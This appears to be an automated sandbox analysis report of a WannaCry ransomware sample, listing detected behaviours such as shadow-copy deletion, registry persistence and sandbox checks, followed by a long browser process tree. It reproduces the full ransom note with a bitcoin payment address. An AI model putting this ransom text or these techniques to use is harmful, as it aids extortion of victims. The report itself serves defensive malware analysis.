Analysis
- geolocation tags
- user interaction
yes - max time kernel
509s - max time network
611s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
07/10/2026, 18:12
General
- Target http://google.com
- Sample261007-wtak2scx61
Score
10/10
Malware Config
Extracted
Path
-
C:\Users\Admin\Desktop\WannaCry-main\@[email protected]
-
wannacry
Ransom Note
- Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets
-
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Signatures
- Family: Wannacry
WannaCry is a ransomware cryptoworm.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 3 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Possible privilege escalation attempt 64 IoCs
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 16 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Obfuscated with Agile.Net obfuscator 3 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
- Suricata alert: Tor Node X.509 Certificate Pattern Detected - Inbound
Network activity triggered a Suricata alert
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Power Settings 1 TTPs 6 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 3 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
- Drops file in Windows directory 56 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 58 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Kills process with taskkill 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 22 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://google.com1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x20c,0x23c,0x240,0x214,0x248,0x7ff85864c188,0x7ff85864c194,0x7ff85864c1a02⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,14819392497265491521,6860901274602805613,262144 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1956,i,6571234762028077407,3061795961305684346,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=784,i,17536623015694077111,15501700456106380566,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3452,i,14080789207437202437,11913606175107646182,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3456,i,6771809926038988689,4390883843948951716,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4104,i,5042091486313968275,5564483255928354833,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4116,i,2270988138761562100,2478426420425533645,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4988,i,749339747022570935,7646766837108784442,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5208,i,5869451747932755895,11080731929301336860,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5212,i,2537604297463549479,3062211373527531778,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3476,i,15031319278793471901,1678321466144253448,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3476,i,15031319278793471901,1678321466144253448,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3476,i,14976113468892471743,16982909827105618772,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4300,i,13915179893010278372,14747576955793999942,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4292,i,450153335749621534,6906749553733894465,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1000,i,3887992929682882013,15896962465080210841,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6116,i,6729762122116324502,15213822225584112922,262144 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=756 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3456,i,17549081477761177738,17738986925206590217,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3544,i,12066729600938999102,12797848458591614207,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3992 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,8510364797081585910,18414525036089363004,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,18017142826975186814,10444689932350392368,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3992 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6736,i,17209783530480378179,3192376717463416664,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=6864,i,7109394106007862837,5823239477014071691,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7008,i,11314161546642448734,16869960835198209277,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=5908,i,12229293005161436547,9297069150228553041,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=6752 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=4112,i,5544108036434545730,8892546714221621720,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=7232,i,13344936843427337850,10007125811079394740,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7280 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7392,i,12874670713488214496,13775960703085222974,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7360 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=7544,i,17344826003644684983,16451430915785134163,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7444 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=7632,i,5496908592709626400,8077084579161645251,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7644 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7932,i,1301935289251072319,15382420585322830667,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7484 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3508,i,17878548604954040927,7982511279231052860,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7900 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=7324,i,16293755073874837100,353476868243923654,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7908 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=8320,i,11781312021963856783,10535867641761927975,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=8316 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=7684,i,12187941238697820202,5480401971184458007,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7424 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=8448,i,1186079479918598908,2666569014357503430,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=8404 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7484,i,9717122329378710870,14195673792404300619,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7888 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --metrics-shmem-handle=8656,i,2919710567534174916,17453016316254669098,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=8712 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --metrics-shmem-handle=7960,i,12656625303372112797,5435814860489272536,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=8784 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7816,i,13329574368373554122,10347654485770346311,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=8568 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --metrics-shmem-handle=7956,i,17695251367777875068,17532826329346870498,2097152 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=7932 /prefetch:12⤵
-
-
